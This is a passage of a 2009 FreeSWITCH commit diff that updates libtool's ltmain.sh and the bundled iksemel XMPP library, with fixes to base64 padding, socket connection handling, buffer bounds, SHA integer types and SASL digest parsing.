+		  $echo "*** make it link in!  You will probably need to install it or some"
 		  $echo "*** library that it depends on before this library will be fully"
 		  $echo "*** functional.  Installing it before continuing would be even better."
 		fi
@@ -4239,12 +4268,14 @@
       reload_conv_objs=
       gentop=
       # reload_cmds runs $LD directly, so let us get rid of
-      # -Wl from whole_archive_flag_spec
+      # -Wl from whole_archive_flag_spec and hope we can get by with
+      # turning comma into space..
       wl=
 
       if test -n "$convenience"; then
 	if test -n "$whole_archive_flag_spec"; then
-	  eval reload_conv_objs=\"\$reload_objs $whole_archive_flag_spec\"
+	  eval tmp_whole_archive_flags=\"$whole_archive_flag_spec\"
+      reload_conv_objs=$reload_objs\ `$echo "X$tmp_whole_archive_flags" | $Xsed -e 's|,| |g'`
 	else
 	  gentop="$output_objdir/${obj}x"
 	  generated="$generated $gentop"
@@ -4692,16 +4723,16 @@
           case $host in
           *cygwin* | *mingw* )
             if test -f "$output_objdir/${outputname}.def" ; then
-              compile_command=`$echo "X$compile_command" | $Xsed -e "s%@SYMFILE@%$output_objdir/${outputname}.def $output_objdir/${outputname}S.${objext}%"`
-              finalize_command=`$echo "X$finalize_command" | $Xsed -e "s%@SYMFILE@%$output_objdir/${outputname}.def $output_objdir/${outputname}S.${objext}%"`
+              compile_command=`$echo "X$compile_command" | $SP2NL | $Xsed -e "s%@SYMFILE@%$output_objdir/${outputname}.def $output_objdir/${outputname}S.${objext}%" | $NL2SP`
+              finalize_command=`$echo "X$finalize_command" | $SP2NL | $Xsed -e "s%@SYMFILE@%$output_objdir/${outputname}.def $output_objdir/${outputname}S.${objext}%" | $NL2SP`
             else
-              compile_command=`$echo "X$compile_command" | $Xsed -e "s%@SYMFILE@%$output_objdir/${outputname}S.${objext}%"`
-              finalize_command=`$echo "X$finalize_command" | $Xsed -e "s%@SYMFILE@%$output_objdir/${outputname}S.${objext}%"`
+              compile_command=`$echo "X$compile_command" | $SP2NL | $Xsed -e "s%@SYMFILE@%$output_objdir/${outputname}S.${objext}%" | $NL2SP`
+              finalize_command=`$echo "X$finalize_command" | $SP2NL | $Xsed -e "s%@SYMFILE@%$output_objdir/${outputname}S.${objext}%" | $NL2SP`
              fi
             ;;
           * )
-            compile_command=`$echo "X$compile_command" | $Xsed -e "s%@SYMFILE@%$output_objdir/${outputname}S.${objext}%"`
-            finalize_command=`$echo "X$finalize_command" | $Xsed -e "s%@SYMFILE@%$output_objdir/${outputname}S.${objext}%"`
+            compile_command=`$echo "X$compile_command" | $SP2NL | $Xsed -e "s%@SYMFILE@%$output_objdir/${outputname}S.${objext}%" | $NL2SP`
+            finalize_command=`$echo "X$finalize_command" | $SP2NL | $Xsed -e "s%@SYMFILE@%$output_objdir/${outputname}S.${objext}%" | $NL2SP`
             ;;
           esac
 	  ;;
@@ -4716,13 +4747,13 @@
 	# really was required.
 
 	# Nullify the symbol file.
-	compile_command=`$echo "X$compile_command" | $Xsed -e "s% @SYMFILE@%%"`
-	finalize_command=`$echo "X$finalize_command" | $Xsed -e "s% @SYMFILE@%%"`
+	compile_command=`$echo "X$compile_command" | $SP2NL | $Xsed -e "s% @SYMFILE@%%" | $NL2SP`
+	finalize_command=`$echo "X$finalize_command" | $SP2NL | $Xsed -e "s% @SYMFILE@%%" | $NL2SP`
       fi
 
       if test "$need_relink" = no || test "$build_libtool_libs" != yes; then
 	# Replace the output file specification.
-	compile_command=`$echo "X$compile_command" | $Xsed -e 's%@OUTPUT@%'"$output"'%g'`
+	compile_command=`$echo "X$compile_command" | $SP2NL | $Xsed -e 's%@OUTPUT@%'"$output"'%g' | $NL2SP`
 	link_command="$compile_command$compile_rpath"
 
 	# We have no uninstalled library dependencies, so finalize right now.
@@ -4809,7 +4840,7 @@
 	if test "$fast_install" != no; then
 	  link_command="$finalize_var$compile_command$finalize_rpath"
 	  if test "$fast_install" = yes; then
-	    relink_command=`$echo "X$compile_var$compile_command$compile_rpath" | $Xsed -e 's%@OUTPUT@%\$progdir/\$file%g'`
+	    relink_command=`$echo "X$compile_var$compile_command$compile_rpath" | $SP2NL | $Xsed -e 's%@OUTPUT@%\$progdir/\$file%g' | $NL2SP`
 	  else
 	    # fast_install is set to needless
 	    relink_command=
@@ -4846,7 +4877,7 @@
 	  fi
 	done
 	relink_command="(cd `pwd`; $relink_command)"
-	relink_command=`$echo "X$relink_command" | $Xsed -e "$sed_quote_subst"`
+	relink_command=`$echo "X$relink_command" | $SP2NL | $Xsed -e "$sed_quote_subst" | $NL2SP`
       fi
 
       # Quote $echo for shipping.
@@ -5253,6 +5284,18 @@
 Xsed='${SED} -e 1s/^X//'
 sed_quote_subst='$sed_quote_subst'
 
+# Be Bourne compatible (taken from Autoconf:_AS_BOURNE_COMPATIBLE).
+if test -n \"\${ZSH_VERSION+set}\" && (emulate sh) >/dev/null 2>&1; then
+  emulate sh
+  NULLCMD=:
+  # Zsh 3.x and 4.x performs word splitting on \${1+\"\$@\"}, which
+  # is contrary to our usage.  Disable this feature.
+  alias -g '\${1+\"\$@\"}'='\"\$@\"'
+  setopt NO_GLOB_SUBST
+else
+  case \`(set -o) 2>/dev/null\` in *posix*) set -o posix;; esac
+fi
+
 # The HP-UX ksh and POSIX shell print the target directory to stdout
 # if CDPATH is set.
 (unset CDPATH) >/dev/null 2>&1 && unset CDPATH
@@ -5395,7 +5438,7 @@
 	  ;;
 	esac
 	$echo >> $output "\
-      \$echo \"\$0: cannot exec \$program \${1+\"\$@\"}\"
+      \$echo \"\$0: cannot exec \$program \$*\"
       exit $EXIT_FAILURE
     fi
   else
@@ -5581,7 +5624,7 @@
       done
       # Quote the link command for shipping.
       relink_command="(cd `pwd`; $SHELL $progpath $preserve_args --mode=relink $libtool_args @inst_prefix_dir@)"
-      relink_command=`$echo "X$relink_command" | $Xsed -e "$sed_quote_subst"`
+      relink_command=`$echo "X$relink_command" | $SP2NL | $Xsed -e "$sed_quote_subst" | $NL2SP`
       if test "$hardcode_automatic" = yes ; then
 	relink_command=
       fi
@@ -5926,9 +5969,9 @@
 
 	  if test -n "$inst_prefix_dir"; then
 	    # Stick the inst_prefix_dir data into the link command.
-	    relink_command=`$echo "$relink_command" | $SED "s%@inst_prefix_dir@%-inst-prefix-dir $inst_prefix_dir%"`
+	    relink_command=`$echo "$relink_command" | $SP2NL | $SED "s%@inst_prefix_dir@%-inst-prefix-dir $inst_prefix_dir%" | $NL2SP`
 	  else
-	    relink_command=`$echo "$relink_command" | $SED "s%@inst_prefix_dir@%%"`
+	    relink_command=`$echo "$relink_command" | $SP2NL | $SED "s%@inst_prefix_dir@%%" | $NL2SP`
 	  fi
 
 	  $echo "$modename: warning: relinking \`$file'" 1>&2
@@ -6137,7 +6180,7 @@
 	      file=`$echo "X$file$stripped_ext" | $Xsed -e 's%^.*/%%'`
 	      outputname="$tmpdir/$file"
 	      # Replace the output file specification.
-	      relink_command=`$echo "X$relink_command" | $Xsed -e 's%@OUTPUT@%'"$outputname"'%g'`
+	      relink_command=`$echo "X$relink_command" | $SP2NL | $Xsed -e 's%@OUTPUT@%'"$outputname"'%g' | $NL2SP`
 
 	      $show "$relink_command"
 	      if $run eval "$relink_command"; then :
@@ -6413,13 +6456,16 @@
       fi
 
       # Restore saved environment variables
-      if test "${save_LC_ALL+set}" = set; then
-	LC_ALL="$save_LC_ALL"; export LC_ALL
-      fi
-      if test "${save_LANG+set}" = set; then
-	LANG="$save_LANG"; export LANG
-      fi
+      for lt_var in LANG LC_ALL LC_CTYPE LC_COLLATE LC_MESSAGES
+      do
+       eval "if test \"\${save_$lt_var+set}\" = set; then
+               $lt_var=\$save_$lt_var; export $lt_var
+             else
+               $lt_unset $lt_var
+             fi"
+      done
 
+
       # Now prepare to actually exec the command.
       exec_cmd="\$cmd$args"
     else
@@ -6775,9 +6821,9 @@
   -dlpreopen FILE   link in FILE and add its symbols to lt_preloaded_symbols
   -export-dynamic   allow symbols from OUTPUT-FILE to be resolved with dlsym(3)
   -export-symbols SYMFILE
-		    try to export only the symbols listed in SYMFILE
+                    try to export only the symbols listed in SYMFILE
   -export-symbols-regex REGEX
-		    try to export only the symbols matching REGEX
+                    try to export only the symbols matching REGEX
   -LLIBDIR          search LIBDIR for required installed libraries
   -lNAME            OUTPUT-FILE requires the installed library libNAME
   -module           build a library that can dlopened
@@ -6791,9 +6837,11 @@
   -release RELEASE  specify package release information
   -rpath LIBDIR     the created library will eventually be installed in LIBDIR
   -R[ ]LIBDIR       add LIBDIR to the runtime path of programs and libraries
-  -static           do not do any dynamic linking of libtool libraries
+  -static           do not do any dynamic linking of uninstalled libtool libraries
+  -static-libtool-libs
+                    do not do any dynamic linking of libtool libraries
   -version-info CURRENT[:REVISION[:AGE]]
-		    specify library version info [each variable defaults to 0]
+                    specify library version info [each variable defaults to 0]
 
 All other options (arguments beginning with \`-') are ignored.
 

Modified: freeswitch/branches/seven/libs/iksemel/src/Makefile.am (14471 => 14472)


--- freeswitch/branches/seven/libs/iksemel/src/Makefile.am	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/iksemel/src/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -24,6 +24,6 @@
 	md5.c \
 	base64.c
 
-libiksemel_la_LDFLAGS = -version-info 3:0:0 -no-undefined
+libiksemel_la_LDFLAGS = -version-info 4:0:1 -no-undefined
 libiksemel_la_CFLAGS = $(CFLAGS) $(LIBGNUTLS_CFLAGS)
 libiksemel_la_LIBADD = $(LIBGNUTLS_LIBS)

Modified: freeswitch/branches/seven/libs/iksemel/src/base64.c (14471 => 14472)


--- freeswitch/branches/seven/libs/iksemel/src/base64.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/iksemel/src/base64.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -7,27 +7,30 @@
 #include "common.h"
 #include "iksemel.h"
 
-static char base64_charset[] =
-	"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
+static const char base64_charset[] =
+"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
 
 
 char *iks_base64_decode(const char *buf)
 {
-	char *res, *save, *foo, val;
+	char *res, *save;
+	char val;
+        const char *foo; 
 	const char *end;
 	int index;
+	size_t len;
 
 	if (!buf)
 		return NULL;
 
-	index = iks_strlen(buf)*6 / 8 + 1;
-	save = res = iks_malloc(index);
-	memset(res, 0, index);
-	index = 0;
+	len = iks_strlen(buf) * 6 / 8 + 1;
 
+	save = res = iks_malloc(len);
 	if (!save)
 		return NULL;
+	memset(res, 0, len);
 
+	index = 0;
 	end = buf + iks_strlen(buf);
 
 	while (*buf && buf < end) {
@@ -66,6 +69,7 @@
 
 	len = (len > 0) ? (len) : (iks_strlen(buf));
 	save = res = iks_malloc((len*8) / 6 + 4);
+	if (!save) return NULL;
 
 	for (k = 0; k < len/3; ++k) {
 		*res++ = base64_charset[*buf >> 2];
@@ -85,14 +89,15 @@
 			buf++;
 			*res++ = base64_charset[t | (*buf >> 4)];
 			*res++ = base64_charset[((*buf++ & 0x0F) << 2)];
+			*res++ = '=';
 			break;
 		case 1:
 			*res++ = base64_charset[*buf >> 2];
 			*res++ = base64_charset[(*buf++ & 0x03) << 4];
+			*res++ = '=';
+			*res++ = '=';
 			break;
 	}
-	*res++ = '=';
-	*res++ = '=';
 	*res = 0;
 	return save;
 }

Modified: freeswitch/branches/seven/libs/iksemel/src/dom.c (14471 => 14472)


--- freeswitch/branches/seven/libs/iksemel/src/dom.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/iksemel/src/dom.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -37,6 +37,8 @@
 	}
 	if (IKS_CLOSE == type || IKS_SINGLE == type) {
 		x = iks_parent (data->current);
+		if (iks_strcmp(iks_name(data->current), name) != 0)
+			return IKS_BADXML;
 		if (x)
 			data->current = x;
 		else {
@@ -130,8 +132,9 @@
 				if (len < FILE_IO_BUF_SIZE) {
 					if (0 == feof (f)) {
 						ret = IKS_FILE_RWERR;
-						len = 0;
+						break;
 					}
+					if (0 == len) ret = IKS_OK;
 					done = 1;
 				}
 				if (len > 0) {

Modified: freeswitch/branches/seven/libs/iksemel/src/iks.c (14471 => 14472)


--- freeswitch/branches/seven/libs/iksemel/src/iks.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/iksemel/src/iks.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /* iksemel (XML parser for Jabber)
-** Copyright (C) 2000-2004 Gurer Ozen <madcat@e-kolay.net>
+** Copyright (C) 2000-2007 Gurer Ozen <madcat@e-kolay.net>
 ** This code is free software; you can redistribute it and/or
 ** modify it under the terms of GNU Lesser General Public License.
 */
@@ -183,6 +183,106 @@
 	return y;
 }
 
+iks *
+iks_append (iks *x, const char *name)
+{
+	iks *y;
+
+	if (!x) return NULL;
+	y = iks_new_within (name, x->s);
+	if (!y) return NULL;
+
+	if (x->next) {
+		x->next->prev = y;
+	} else {
+		IKS_TAG_LAST_CHILD (x->parent) = y;
+	}
+	y->next = x->next;
+	x->next = y;
+	y->parent = x->parent;
+	y->prev = x;
+
+	return y;
+}
+
+iks *
+iks_prepend (iks *x, const char *name)
+{
+	iks *y;
+
+	if (!x) return NULL;
+	y = iks_new_within (name, x->s);
+	if (!y) return NULL;
+
+	if (x->prev) {
+		x->prev->next = y;
+	} else {
+		IKS_TAG_CHILDREN (x->parent) = y;
+	}
+	y->prev = x->prev;
+	x->prev = y;
+	y->parent = x->parent;
+	y->next = x;
+
+	return y;
+}
+
+iks *
+iks_append_cdata (iks *x, const char *data, size_t len)
+{
+	iks *y;
+
+	if (!x || !data) return NULL;
+	if (len == 0) len = strlen (data);
+
+	y = iks_new_within (NULL, x->s);
+	if (!y) return NULL;
+	y->type = IKS_CDATA;
+	IKS_CDATA_CDATA (y) = iks_stack_strdup (x->s, data, len);
+	if (!IKS_CDATA_CDATA (y)) return NULL;
+	IKS_CDATA_LEN (y) = len;
+
+	if (x->next) {
+		x->next->prev = y;
+	} else {
+		IKS_TAG_LAST_CHILD (x->parent) = y;
+	}
+	y->next = x->next;
+	x->next = y;
+	y->parent = x->parent;
+	y->prev = x;
+
+	return y;
+}
+
+iks *
+iks_prepend_cdata (iks *x, const char *data, size_t len)
+{
+	iks *y;
+
+	if (!x || !data) return NULL;
+	if (len == 0) len = strlen (data);
+
+	y = iks_new_within (NULL, x->s);
+	if (!y) return NULL;
+	y->type = IKS_CDATA;
+	IKS_CDATA_CDATA(y) = iks_stack_strdup (x->s, data, len);
+	if (!IKS_CDATA_CDATA (y)) return NULL;
+	IKS_CDATA_LEN (y) = len;
+
+	if (x->prev) {
+		x->prev->next = y;
+	} else {
+		IKS_TAG_CHILDREN (x->parent) = y;
+	}
+	y->prev = x->prev;
+	x->prev = y;
+	y->parent = x->parent;
+	y->next = x;
+
+	return y;
+}
+
 void
 iks_hide (iks *x)
 {
@@ -379,7 +479,7 @@
 iks_name (iks *x)
 {
 	if (x) {
-		if (IKS_TAG == x->type) 
+		if (IKS_TAG == x->type)
 			return IKS_TAG_NAME (x);
 		else
 			return IKS_ATTRIB_NAME (x);

Modified: freeswitch/branches/seven/libs/iksemel/src/ikstack.c (14471 => 14472)


--- freeswitch/branches/seven/libs/iksemel/src/ikstack.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/iksemel/src/ikstack.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -192,10 +192,11 @@
 	}
 
 	s = *sp;
-	
+
 	if (!s) {
 		return;
 	}
+
 	*sp = NULL;
 	c = s->meta->next;
 	while (c) {
@@ -210,5 +211,4 @@
 		c = tmp;
 	}
 	iks_free (s);
-
 }

Modified: freeswitch/branches/seven/libs/iksemel/src/io-posix.c (14471 => 14472)


--- freeswitch/branches/seven/libs/iksemel/src/io-posix.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/iksemel/src/io-posix.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -36,6 +36,7 @@
 	struct addrinfo hints;
 	struct addrinfo *addr_res, *addr_ptr;
 	char port_str[6];
+	int err = 0;
 
 	hints.ai_flags = AI_CANONNAME;
 	hints.ai_family = PF_UNSPEC;
@@ -52,14 +53,20 @@
 
 	addr_ptr = addr_res;
 	while (addr_ptr) {
+		err = IKS_NET_NOSOCK;
 		sock = socket (addr_ptr->ai_family, addr_ptr->ai_socktype, addr_ptr->ai_protocol);
-		if (sock != -1) break;
+		if (sock != -1) {
+			err = IKS_NET_NOCONN;
+			tmp = connect (sock, addr_ptr->ai_addr, addr_ptr->ai_addrlen);
+			if (tmp == 0) break;
+			io_close ((void *) sock);
+			sock = -1;
+		}
 		addr_ptr = addr_ptr->ai_next;
 	}
-	if (sock == -1) return IKS_NET_NOSOCK;
+	freeaddrinfo (addr_res);
 
-	tmp = connect (sock, addr_ptr->ai_addr, addr_ptr->ai_addrlen);
-	freeaddrinfo (addr_res);
+	if (sock == -1) return err;
 #else
 	struct hostent *host;
 	struct sockaddr_in sin;
@@ -74,11 +81,11 @@
 	if (sock == -1) return IKS_NET_NOSOCK;
 
 	tmp = connect (sock, (struct sockaddr *)&sin, sizeof (struct sockaddr_in));
-#endif
 	if (tmp != 0) {
 		io_close ((void *) sock);
 		return IKS_NET_NOCONN;
 	}
+#endif
 
 	*socketptr = (void *) sock;
 
@@ -101,6 +108,7 @@
 	fd_set fds;
 	struct timeval tv, *tvptr;
 	int len;
+	char *bound;
 
 	tv.tv_sec = 0;
 	tv.tv_usec = 0;
@@ -108,20 +116,22 @@
 	FD_ZERO (&fds);
 	FD_SET (sock, &fds);
 	tv.tv_sec = timeout;
+
 	if (timeout != -1) tvptr = &tv; else tvptr = NULL;
 	if (select (sock + 1, &fds, NULL, NULL, tvptr) > 0) {
 		len = recv (sock, buffer, buf_len, 0);
 		if (len > 0) {
 			char *p, *e = NULL, *t = NULL;
-			*(buffer+buf_len+1) = '\0';
-			for (p = buffer; p && *p; p++) {
+			bound = buffer + (len -1);
+
+			for (p = buffer; p < bound; p++) {
 				if (*p == '>') {
 					e = p;
 					t = p+1;
 					if (*t == '<') {
 						continue;
 					}
-					while(t && *t) {
+					while(p < bound && t < bound) {
 						if (*t != ' ' && *t != '<') {
 							t = e = NULL;
 							break;
@@ -135,7 +145,6 @@
 						}
 
 						t++;
-
 					}
 				}
 			}

Modified: freeswitch/branches/seven/libs/iksemel/src/jabber.c (14471 => 14472)


--- freeswitch/branches/seven/libs/iksemel/src/jabber.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/iksemel/src/jabber.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -173,8 +173,8 @@
 		char buf[41];
 		iksha *sha;
 		sha = iks_sha_new ();
-		iks_sha_hash (sha, sid, strlen (sid), 0);
-		iks_sha_hash (sha, pass, strlen (pass), 1);
+		iks_sha_hash (sha, (const unsigned char*)sid, strlen (sid), 0);
+		iks_sha_hash (sha, (const unsigned char*)pass, strlen (pass), 1);
 		iks_sha_print (sha, buf);
 		iks_sha_delete (sha);
 		iks_insert_cdata (iks_insert (y, "digest"), buf, 40);

Modified: freeswitch/branches/seven/libs/iksemel/src/md5.c (14471 => 14472)


--- freeswitch/branches/seven/libs/iksemel/src/md5.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/iksemel/src/md5.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -43,7 +43,7 @@
 	unsigned char blen;
 };
 
-static unsigned long int T[] =
+static const unsigned long int T[] =
 	{ 0xd76aa478, 0xe8c7b756, 0x242070db, 0xc1bdceee,
 	  0xf57c0faf, 0x4787c62a, 0xa8304613, 0xfd469501,
 	  0x698098d8, 0x8b44f7af, 0xffff5bb1, 0x895cd7be,
@@ -151,7 +151,7 @@
 {
 	iksmd5 *md5 = iks_md5_new();
 
-	iks_md5_hash(md5, data, strlen(data), 1);
+	iks_md5_hash(md5, (const unsigned char*)data, strlen(data), 1);
 	iks_md5_print(md5, buf);
 	iks_md5_delete(md5);
 }

Modified: freeswitch/branches/seven/libs/iksemel/src/sax.c (14471 => 14472)


--- freeswitch/branches/seven/libs/iksemel/src/sax.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/iksemel/src/sax.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -149,7 +149,8 @@
 	if (need < prs->stack_max) {
 		need = prs->stack_max * 2;
 	} else {
-		need = prs->stack_max + (need * 1.2);
+		/* need x 1.2 for integer only archs like ARM */
+		need = prs->stack_max + ( (need * 6) / 5);
 	}
 	tmp = iks_malloc (need);
 	if (!tmp) return 0;

Modified: freeswitch/branches/seven/libs/iksemel/src/sha.c (14471 => 14472)


--- freeswitch/branches/seven/libs/iksemel/src/sha.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/iksemel/src/sha.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -11,10 +11,10 @@
 static void sha_calculate (iksha *sha);
 
 struct iksha_struct {
-	unsigned long hash[5];
-	unsigned long buf[80];
+	unsigned int hash[5];
+	unsigned int buf[80];
 	int blen;
-	unsigned long lenhi, lenlo;
+	unsigned int lenhi, lenlo;
 };
 
 iksha *
@@ -32,11 +32,11 @@
 iks_sha_reset (iksha *sha)
 {
 	memset (sha, 0, sizeof (iksha));
-	sha->hash[0] = 0x67452301L;
-	sha->hash[1] = 0xefcdab89L;
-	sha->hash[2] = 0x98badcfeL;
-	sha->hash[3] = 0x10325476L;
-	sha->hash[4] = 0xc3d2e1f0L;
+	sha->hash[0] = 0x67452301;
+	sha->hash[1] = 0xefcdab89;
+	sha->hash[2] = 0x98badcfe;
+	sha->hash[3] = 0x10325476;
+	sha->hash[4] = 0xc3d2e1f0;
 }
 
 void
@@ -74,7 +74,7 @@
 
 	for (i=0; i<5; i++)
 	{
-		sprintf (hash, "%08lx", sha->hash[i]);
+		sprintf (hash, "%08x", sha->hash[i]);
 		hash += 8;
 	}
 }
@@ -91,7 +91,7 @@
 	iksha *sha;
 
 	sha = iks_sha_new ();
-	iks_sha_hash (sha, data, strlen (data), 1);
+	iks_sha_hash (sha, (const unsigned char*)data, strlen (data), 1);
 	iks_sha_print (sha, hash);
 	iks_free (sha);
 }
@@ -103,7 +103,7 @@
 
 	for (i=0; i<len; i++) {
 		sha->buf[sha->blen / 4] <<= 8;
-		sha->buf[sha->blen / 4] |= (unsigned long)data[i];
+		sha->buf[sha->blen / 4] |= (unsigned int)data[i];
 		if ((++sha->blen) % 64 == 0) {
 			sha_calculate (sha);
 			sha->blen = 0;
@@ -128,7 +128,7 @@
 sha_calculate (iksha *sha)
 {
 	int i;
-	unsigned long A, B, C, D, E, TMP;
+	unsigned int A, B, C, D, E, TMP;
 
 	for (i=16; i<80; i++)
 		sha->buf[i] = SRL (sha->buf[i-3] ^ sha->buf[i-8] ^ sha->buf[i-14] ^ sha->buf[i-16], 1);
@@ -139,10 +139,10 @@
 	D = sha->hash[3];
 	E = sha->hash[4];
 
-	SHA (0,  19, ((C^D)&B)^D,     0x5a827999L);
-	SHA (20, 39, B^C^D,           0x6ed9eba1L);
-	SHA (40, 59, (B&C)|(D&(B|C)), 0x8f1bbcdcL);
-	SHA (60, 79, B^C^D,           0xca62c1d6L);
+	SHA (0,  19, ((C^D)&B)^D,     0x5a827999);
+	SHA (20, 39, B^C^D,           0x6ed9eba1);
+	SHA (40, 59, (B&C)|(D&(B|C)), 0x8f1bbcdc);
+	SHA (60, 79, B^C^D,           0xca62c1d6);
 
 	sha->hash[0] += A;
 	sha->hash[1] += B;

Modified: freeswitch/branches/seven/libs/iksemel/src/stream.c (14471 => 14472)


--- freeswitch/branches/seven/libs/iksemel/src/stream.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/iksemel/src/stream.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,9 +1,17 @@
 /* iksemel (XML parser for Jabber)
-** Copyright (C) 2000-2004 Gurer Ozen <madcat@e-kolay.net>
+** Copyright (C) 2000-2007 Gurer Ozen <madcat@e-kolay.net>
 ** This code is free software; you can redistribute it and/or
 ** modify it under the terms of GNU Lesser General Public License.
 */
 
+#include "config.h"
+#ifdef HAVE_GNUTLS
+#define _XOPEN_SOURCE 500
+#define _GNU_SOURCE
+#include <pthread.h>
+#endif
+
+
 #include "common.h"
 #include "iksemel.h"
 
@@ -37,13 +45,16 @@
 };
 
 #ifdef HAVE_GNUTLS
+#ifndef WIN32
+#include <gcrypt.h>
+GCRY_THREAD_OPTION_PTHREAD_IMPL;
+#endif
 
 static size_t
 tls_push (iksparser *prs, const char *buffer, size_t len)
 {
 	struct stream_data *data = iks_user_data (prs);
 	int ret;
-
 	ret = data->trans->send (data->sock, buffer, len);
 	if (ret) return (size_t) -1;
 	return len;
@@ -54,7 +65,6 @@
 {
 	struct stream_data *data = iks_user_data (prs);
 	int ret;
-
 	ret = data->trans->recv (data->sock, buffer, len, -1);
 	if (ret == -1) return (size_t) -1;
 	return ret;
@@ -70,6 +80,10 @@
 	const int mac_priority[] = { GNUTLS_MAC_SHA, GNUTLS_MAC_MD5, 0 };
 	int ret;
 
+#ifndef WIN32
+	gcry_control(GCRYCTL_SET_THREAD_CBS, &gcry_threads_pthread);
+#endif
+
 	if (gnutls_global_init () != 0)
 		return IKS_NOMEM;
 
@@ -87,8 +101,10 @@
 	gnutls_mac_set_priority(data->sess, mac_priority);
 	gnutls_credentials_set (data->sess, GNUTLS_CRD_CERTIFICATE, data->cred);
 
+
 	gnutls_transport_set_push_function (data->sess, (gnutls_push_func) tls_push);
 	gnutls_transport_set_pull_function (data->sess, (gnutls_pull_func) tls_pull);
+	
 	gnutls_transport_set_ptr (data->sess, data->prs);
 
 	ret = gnutls_handshake (data->sess);
@@ -122,108 +138,145 @@
 #define CNONCE_LEN 4
 
 static void
-iks_sasl_challenge (struct stream_data *data, iks *challenge)
+parse_digest (char *message, const char *key, char **value_ptr, char **value_end_ptr)
 {
-	char *b;
-	iks *x;
+	char *t;
 
-	b = iks_cdata (iks_child (challenge));
-	if (!b) return;
+	*value_ptr = NULL;
+	*value_end_ptr = NULL;
 
-	b = iks_base64_decode (b);
+	t = strstr(message, key);
+	if (t) {
+		t += strlen(key);
+		*value_ptr = t;
+		while (t[0] != '\0') {
+			if (t[0] != '\\' && t[1] == '"') {
+				++t;
+				*value_end_ptr = t;
+				return;
+			}
+			++t;
+		}
+	}
+}
 
-	if (strstr (b, "rspauth")) {
-		x = iks_new("response");
+static iks *
+make_sasl_response (struct stream_data *data, char *message)
+{
+	iks *x = NULL;
+	char *realm, *realm_end;
+	char *nonce, *nonce_end;
+	char cnonce[CNONCE_LEN*8 + 1];
+	iksmd5 *md5;
+	unsigned char a1_h[16], a1[33], a2[33], response_value[33];
+	char *response, *response_coded;
+	int i;
+
+	parse_digest(message, "realm=\"", &realm, &realm_end);
+	parse_digest(message, "nonce=\"", &nonce, &nonce_end);
+
+	/* nonce is necessary for auth */
+	if (!nonce || !nonce_end) return NULL;
+	*nonce_end = '\0';
+
+	/* if no realm is given use the server hostname */
+	if (realm) {
+		if (!realm_end) return NULL;
+		*realm_end = '\0';
 	} else {
-		char *realm, *nonce, *charset = NULL, *algorithm = NULL;
-		char *realm_end, *nonce_end, cnonce[CNONCE_LEN*8 + 1];
-		unsigned char a1_h[16], a1[33], a2[33], response_value[33];
-		char *response, *response_coded;
-		iksmd5 *md5;
-		int i;
+		realm = (char *) data->server;
+	}
 
-		realm = strstr (b, "realm");
-		if (realm) {
-			realm += 7;
-			do {
-				realm_end = strchr(realm, '"');
-			} while (*(realm_end - 1) == '\\');
-		} else {
-			realm_end = 0;
-			realm = (char *) data->server;
-		}
-		nonce = strstr (b, "nonce");
-		if (nonce) {
-			nonce += 7;
-			do {
-				nonce_end = strchr (nonce, '"');
-			} while (*(nonce - 1) == '\\');
-		} else {
-			iks_free (b);
-			return;
-		}
-		charset = strstr (b, "charset");
-		if (charset) charset += 8;
-		algorithm = strstr (b, "algorithm");
-		if (algorithm) algorithm += 10;
-		if (realm_end) *realm_end = 0;
-		*nonce_end = 0;
+	/* generate random client challenge */
+	for (i = 0; i < CNONCE_LEN; ++i)
+		sprintf (cnonce + i*8, "%08x", rand());
 
-		for (i = 0; i < CNONCE_LEN; ++i)
-			sprintf (cnonce + i*8, "%08x", rand());
+	md5 = iks_md5_new();
+	if (!md5) return NULL;
 
-		md5 = iks_md5_new();
-		iks_md5_hash (md5, data->auth_username, iks_strlen (data->auth_username), 0);
-		iks_md5_hash (md5, ":", 1, 0);
-		iks_md5_hash (md5, realm, iks_strlen (realm), 0);
-		iks_md5_hash (md5, ":", 1, 0);
-		iks_md5_hash (md5, data->auth_pass, iks_strlen (data->auth_pass), 1);
-		iks_md5_digest (md5, a1_h);
-		iks_md5_reset (md5);
-		iks_md5_hash (md5, a1_h, 16, 0);
-		iks_md5_hash (md5, ":", 1, 0);
-		iks_md5_hash (md5, nonce, iks_strlen (nonce), 0);
-		iks_md5_hash (md5, ":", 1, 0);
-		iks_md5_hash (md5, cnonce, iks_strlen (cnonce), 1);
-		iks_md5_print (md5, a1);
-		iks_md5_reset (md5);
-		iks_md5_hash (md5, "AUTHENTICATE:xmpp/", 18, 0);
-		iks_md5_hash (md5, data->server, iks_strlen (data->server), 1);
-		iks_md5_print (md5, a2);
-		iks_md5_reset (md5);
-		iks_md5_hash (md5, a1, 32, 0);
-		iks_md5_hash (md5, ":", 1, 0);
-		iks_md5_hash (md5, nonce, iks_strlen (nonce), 0);
